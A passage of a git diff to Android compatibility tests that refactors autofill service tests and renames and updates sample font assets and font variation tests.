@@ -172,28 +183,27 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("editText",
- value).setPresentation(createPresentation("dataset")).build());
- OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
- expectedText);
- mEditText.addTextChangedListener(textWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("editText", value)
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
+ expectedText);
+ mEditText.addTextChangedListener(textWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- textWatcher.assertAutoFilled();
- } else {
- assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ textWatcher.assertAutoFilled();
+ } else {
+ assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
}
}
@@ -227,28 +237,26 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "compoundButton", value).setPresentation(
- createPresentation("dataset")).build());
- OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
- "compoundButton", mCompoundButton, expectedValue);
- mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
- startAutoFill(mCompoundButton);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("compoundButton", value)
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+ "compoundButton", mCompoundButton, expectedValue);
+ mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ startAutoFill(mCompoundButton);
- if (expectAutoFill) {
- // Check the results.
- checkedWatcher.assertAutoFilled();
- } else {
- assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ checkedWatcher.assertAutoFilled();
+ } else {
+ assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
}
}
@@ -282,27 +290,26 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("spinner",
- value).setPresentation(createPresentation("dataset")).build());
- OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
- "spinner", mSpinner, expectedValue);
- mSpinner.setOnItemSelectedListener(spinnerWatcher);
- startAutoFill(mSpinner);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("spinner", value)
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+ "spinner", mSpinner, expectedValue);
+ mSpinner.setOnItemSelectedListener(spinnerWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ startAutoFill(mSpinner);
- if (expectAutoFill) {
- // Check the results.
- spinnerWatcher.assertAutoFilled();
- } else {
- assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ spinnerWatcher.assertAutoFilled();
+ } else {
+ assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
}
}
@@ -337,40 +344,40 @@
private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
boolean expectAutoFill) throws Exception {
- mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
- mActivity.syncRunOnUiThread(() -> mDatePicker.setVisibility(View.VISIBLE));
+ mActivity.syncRunOnUiThread(() -> {
+ mEditText.setVisibility(View.VISIBLE);
+ mDatePicker.setVisibility(View.VISIBLE);
+ });
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "datePicker", value).setField("editText",
- AutofillValue.forText("filled")).setPresentation(
- createPresentation("dataset")).build());
- OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
- 2017, 3, 7);
- mDatePicker.setOnDateChangedListener(dateWatcher);
- int nonAutofilledYear = mDatePicker.getYear();
- int nonAutofilledMonth = mDatePicker.getMonth();
- int nonAutofilledDay = mDatePicker.getDayOfMonth();
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("datePicker", value)
+ .setField("editText", "filled")
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
+ 2017, 3, 7);
+ mDatePicker.setOnDateChangedListener(dateWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ int nonAutofilledYear = mDatePicker.getYear();
+ int nonAutofilledMonth = mDatePicker.getMonth();
+ int nonAutofilledDay = mDatePicker.getDayOfMonth();
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- dateWatcher.assertAutoFilled();
- } else {
- Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
- nonAutofilledDay);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ dateWatcher.assertAutoFilled();
+ } else {
+ Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
+ nonAutofilledDay);
}
}
@@ -406,39 +413,39 @@
private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
boolean expectAutoFill) throws Exception {
- mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
- mActivity.syncRunOnUiThread(() -> mTimePicker.setIs24HourView(true));
- mActivity.syncRunOnUiThread(() -> mTimePicker.setVisibility(View.VISIBLE));
+ mActivity.syncRunOnUiThread(() -> {
+ mEditText.setVisibility(View.VISIBLE);
+ mTimePicker.setIs24HourView(true);
+ mTimePicker.setVisibility(View.VISIBLE);
+ });
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "timePicker", value).setField("editText",
- AutofillValue.forText("filled")).setPresentation(
- createPresentation("dataset")).build());
- MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
- mTimePicker, 12, 32);
- mTimePicker.setOnTimeChangedListener(timeWatcher);
- int nonAutofilledHour = mTimePicker.getHour();
- int nonAutofilledMinute = mTimePicker.getMinute();
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("timePicker", value)
+ .setField("editText", "filled")
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+ mTimePicker, 12, 32);
+ mTimePicker.setOnTimeChangedListener(timeWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ int nonAutofilledHour = mTimePicker.getHour();
+ int nonAutofilledMinute = mTimePicker.getMinute();
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- timeWatcher.assertAutoFilled();
- } else {
- Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ timeWatcher.assertAutoFilled();
+ } else {
+ Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
}
}
@@ -455,8 +462,10 @@
@Test
public void getTimePickerAutoFillValue() throws Exception {
- mActivity.syncRunOnUiThread(() -> mTimePicker.setHour(12));
- mActivity.syncRunOnUiThread(() -> mTimePicker.setMinute(32));
+ mActivity.syncRunOnUiThread(() -> {
+ mTimePicker.setHour(12);
+ mTimePicker.setMinute(32);
+ });
Helper.assertTimeValue(mTimePicker, 12, 32);
@@ -471,37 +480,35 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "radioGroup", value).setField("editText",
- AutofillValue.forText("filled")).setPresentation(
- createPresentation("dataset")).build());
- MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
- "radioGroup", 2, mRadioGroup, expectedValue);
- mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("radioGroup", value)
+ .setField("editText", "filled")
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+ "radioGroup", 2, mRadioGroup, expectedValue);
+ mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- radioGroupWatcher.assertAutoFilled();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ radioGroupWatcher.assertAutoFilled();
+ } else {
+ if (expectedValue == 0) {
+ assertThat(mRadioButton1.isChecked()).isEqualTo(true);
+ assertThat(mRadioButton2.isChecked()).isEqualTo(false);
} else {
- if (expectedValue == 0) {
- assertThat(mRadioButton1.isChecked()).isEqualTo(true);
- assertThat(mRadioButton2.isChecked()).isEqualTo(false);
- } else {
- assertThat(mRadioButton1.isChecked()).isEqualTo(false);
- assertThat(mRadioButton2.isChecked()).isEqualTo(true);
+ assertThat(mRadioButton1.isChecked()).isEqualTo(false);
+ assertThat(mRadioButton2.isChecked()).isEqualTo(true);
- }
}
- } finally {
- disableService();
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 2aa8c45..9c1f459 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -135,7 +135,11 @@
if (VERBOSE) Log.v(TAG, "Ignoring", e);
Thread.sleep(RETRY_MS);
} else {
- throw new Exception("Timedout out after " + timeout + " ms", e);
+ if (e instanceof RetryableException) {
+ throw e;
+ } else {
+ throw new Exception("Timedout out after " + timeout + " ms", e);
+ }
}
}
}
@@ -678,6 +682,9 @@
assertThat(getMaxPartitions()).isEqualTo(value);
}
+ /**
+ * Checks if device supports the Autofill feature.
+ */
public static boolean hasAutofillFeature() {
return RequiredFeatureRule.hasFeature(PackageManager.FEATURE_AUTOFILL);
}
diff --git a/tests/tests/content/res/font/invalid_xmlfamily.xml b/tests/tests/content/res/font/invalid_xmlfamily.xml
index d3b2412..d1dcef0 100644
--- a/tests/tests/content/res/font/invalid_xmlfamily.xml
+++ b/tests/tests/content/res/font/invalid_xmlfamily.xml
@@ -1,3 +1,3 @@
<invalid-tag xmlns:android="http://schemas.android.com/apk/res/android">
- <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+ <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
</invalid-tag>
diff --git a/tests/tests/content/res/font/invalid_xmlfont.xml b/tests/tests/content/res/font/invalid_xmlfont.xml
index 28f3683..38f03c4 100644
--- a/tests/tests/content/res/font/invalid_xmlfont.xml
+++ b/tests/tests/content/res/font/invalid_xmlfont.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<font-family xmlns:android="http://schemas.android.com/apk/res/android">
<!-- the tag inside font-family must be 'font' -->
- <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+ <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
</font-family>
diff --git a/tests/tests/content/res/font/samplefont.ttf b/tests/tests/content/res/font/samplefont.ttf
deleted file mode 100644
index 49f1c62..0000000
--- a/tests/tests/content/res/font/samplefont.ttf
+++ /dev/null
Binary files differ
diff --git a/tests/tests/content/res/font/samplexmlfont.xml b/tests/tests/content/res/font/samplexmlfont.xml
index 2905c13..ebf5cd2 100644
--- a/tests/tests/content/res/font/samplexmlfont.xml
+++ b/tests/tests/content/res/font/samplexmlfont.xml
@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<font-family xmlns:android="http://schemas.android.com/apk/res/android">
- <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+ <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index e8b462c..91191cf 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -34,7 +34,7 @@
<item name="type15">@array/difficultyLevel</item>
<item name="type16">Typed Value!</item>
<item name="type17">@color/testcolor_orientation</item>
- <item name="type18">@font/samplefont</item>
+ <item name="type18">@font/sample_regular_font</item>
<item name="typeEmpty">@empty</item>
<item name="typeUndefined">@null</item>
</style>
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index e8fe4bf..5856a0c 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -766,7 +766,7 @@
}
public void testGetFont_fontFile() {
- Typeface font = mResources.getFont(R.font.samplefont);
+ Typeface font = mResources.getFont(R.font.sample_regular_font);
assertNotNull(font);
assertNotSame(Typeface.DEFAULT, font);
@@ -841,8 +841,8 @@
}
public void testGetFont_fontFileIsCached() {
- Typeface font = mResources.getFont(R.font.samplefont);
- Typeface font2 = mResources.getFont(R.font.samplefont);
+ Typeface font = mResources.getFont(R.font.sample_regular_font);
+ Typeface font2 = mResources.getFont(R.font.sample_regular_font);
assertEquals(font, font2);
}
diff --git a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
index fa8b859..4e1469b 100644
--- a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
+++ b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
@@ -170,7 +170,7 @@
}
final Typeface font = t.getFont(R.styleable.style1_type18);
- assertEquals(mContext.getResources().getFont(R.font.samplefont), font);
+ assertEquals(mContext.getResources().getFont(R.font.sample_regular_font), font);
// NOTE: order does not matter here.
// R.styleable.style1_typeUndefined is not expected because TYPE_NULL values do not get
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index ece0908..360e09f 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -34,8 +34,6 @@
<activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
android:theme="@style/WhiteBackgroundNoWindowAnimation"
android:screenOrientation="locked"/>
-
- <activity android:name="android.graphics.fonts.cts.MockActivity"/>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/assets/multiaxis.ttf b/tests/tests/graphics/assets/multiaxis.ttf
index 606f555..6e78c28 100644
--- a/tests/tests/graphics/assets/multiaxis.ttf
+++ b/tests/tests/graphics/assets/multiaxis.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/multiaxis.ttx b/tests/tests/graphics/assets/multiaxis.ttx
index 5b31644..7d7279e 100644
--- a/tests/tests/graphics/assets/multiaxis.ttx
+++ b/tests/tests/graphics/assets/multiaxis.ttx
@@ -162,28 +162,21 @@
<fvar>
<Axis>
- <AxisTag>aaaa</AxisTag>
+ <AxisTag>wght</AxisTag>
+ <MinValue>0</MinValue>
+ <DefaultValue>400</DefaultValue>
+ <MaxValue>700</MaxValue>
+ <NameID>256</NameID>
+ </Axis>
+ <Axis>
+ <AxisTag>PRIV</AxisTag>
<MinValue>-1.0</MinValue>
<DefaultValue>0.0</DefaultValue>
<MaxValue>1.0</MaxValue>
<NameID>256</NameID>
</Axis>
<Axis>
- <AxisTag>BBBB</AxisTag>
- <MinValue>-1.0</MinValue>
- <DefaultValue>0.0</DefaultValue>
- <MaxValue>1.0</MaxValue>
- <NameID>256</NameID>
- </Axis>
- <Axis>
- <AxisTag>a b </AxisTag>
- <MinValue>-1.0</MinValue>
- <DefaultValue>0.0</DefaultValue>
- <MaxValue>1.0</MaxValue>
- <NameID>256</NameID>
- </Axis>
- <Axis>
- <AxisTag> C D</AxisTag>
+ <AxisTag>PR12</AxisTag>
<MinValue>-1.0</MinValue>
<DefaultValue>0.0</DefaultValue>
<MaxValue>1.0</MaxValue>
@@ -216,6 +209,9 @@
<namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
MultiAxisFontTest-Regular
</namerecord>
+ <namerecord nameID="256" platformID="3" platEncID="1" langID="0x409">
+ Axis Name
+ </namerecord>
</name>
<post>
diff --git a/tests/tests/graphics/assets/samplefont.ttf b/tests/tests/graphics/assets/samplefont.ttf
index 49f1c62..5fccad2 100644
--- a/tests/tests/graphics/assets/samplefont.ttf
+++ b/tests/tests/graphics/assets/samplefont.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont.ttx b/tests/tests/graphics/assets/samplefont.ttx
new file mode 100644
index 0000000..f618123
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="a" width="500" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/samplefont2.ttf b/tests/tests/graphics/assets/samplefont2.ttf
index b8302d4..f31b8a9 100644
--- a/tests/tests/graphics/assets/samplefont2.ttf
+++ b/tests/tests/graphics/assets/samplefont2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont2.ttx b/tests/tests/graphics/assets/samplefont2.ttx
index 40fa268..f618123 100644
--- a/tests/tests/graphics/assets/samplefont2.ttx
+++ b/tests/tests/graphics/assets/samplefont2.ttx
@@ -136,17 +136,8 @@
</glyf>
<name>
- <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Regular
- </namerecord>
- <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
- SampleFont-Regular
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
</namerecord>
<namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
Sample Font
@@ -160,6 +151,18 @@
<namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
SampleFont-Regular
</namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
</name>
<post>
diff --git a/tests/tests/graphics/assets/samplefont3.ttf b/tests/tests/graphics/assets/samplefont3.ttf
index f0e7524..9c850ab 100644
--- a/tests/tests/graphics/assets/samplefont3.ttf
+++ b/tests/tests/graphics/assets/samplefont3.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont3.ttx b/tests/tests/graphics/assets/samplefont3.ttx
index f053408..b3f08e6 100644
--- a/tests/tests/graphics/assets/samplefont3.ttx
+++ b/tests/tests/graphics/assets/samplefont3.ttx
@@ -136,17 +136,8 @@
</glyf>
<name>
- <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Regular
- </namerecord>
- <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
- Sample Font
- </namerecord>
- <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
- SampleFont-Regular
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
</namerecord>
<namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
Sample Font
@@ -160,6 +151,18 @@
<namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
SampleFont-Regular
</namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
</name>
<post>
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 924b23c..0d70947 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
@@ -903,34 +904,45 @@
}
@Test
+ public void testSetFontVariationSettings_defaultTypeface() {
+ new Paint().setFontVariationSettings("'wght' 400");
+ }
+
+ @Test
public void testSetGetFontVariationSettings() {
+ final Paint defaultPaint = new Paint();
+
Paint p = new Paint();
Context context = InstrumentationRegistry.getTargetContext();
Typeface typeface = Typeface.createFromAsset(context.getAssets(), "multiaxis.ttf");
p.setTypeface(typeface);
- // multiaxis.ttf supports "aaaa", "BBBB", "a b ", " C D" axes.
+ // multiaxis.ttf supports "wght", "PRIV", "PR12" axes.
// The default variation settings should be null.
assertNull(p.getFontVariationSettings());
final String[] nonEffectiveSettings = {
- "'bbbb' 1.0", // unsupported tag
- "' ' 1.0", // unsupported tag
- "'AAAA' 0.7", // unsupported tag (case sensitive)
- "' a b' 1.3", // unsupported tag (white space should not be ignored)
- "'C D ' 1.3", // unsupported tag (white space should not be ignored)
- "'bbbb' 1.0, 'cccc' 2.0", // none of them are supported.
+ "'slnt' 30", // unsupported tag
+ "'BBBB' 1.0", // unsupported tag
+ "'A ' 1.0", // unsupported tag
+ "'PR0 ' 1.3", // unsupported tag
+ "'WGHT' 0.7", // unsupported tag (case sensitive)
+ "'BBBB' 1.0, 'CCCC' 2.0", // none of them are supported.
};
for (String notEffectiveSetting : nonEffectiveSettings) {
- assertFalse("Must return false for " + notEffectiveSetting,
- p.setFontVariationSettings(notEffectiveSetting));
- assertNull("Must not change settings for " + notEffectiveSetting,
- p.getFontVariationSettings());
+ if (!defaultPaint.setFontVariationSettings(notEffectiveSetting)) {
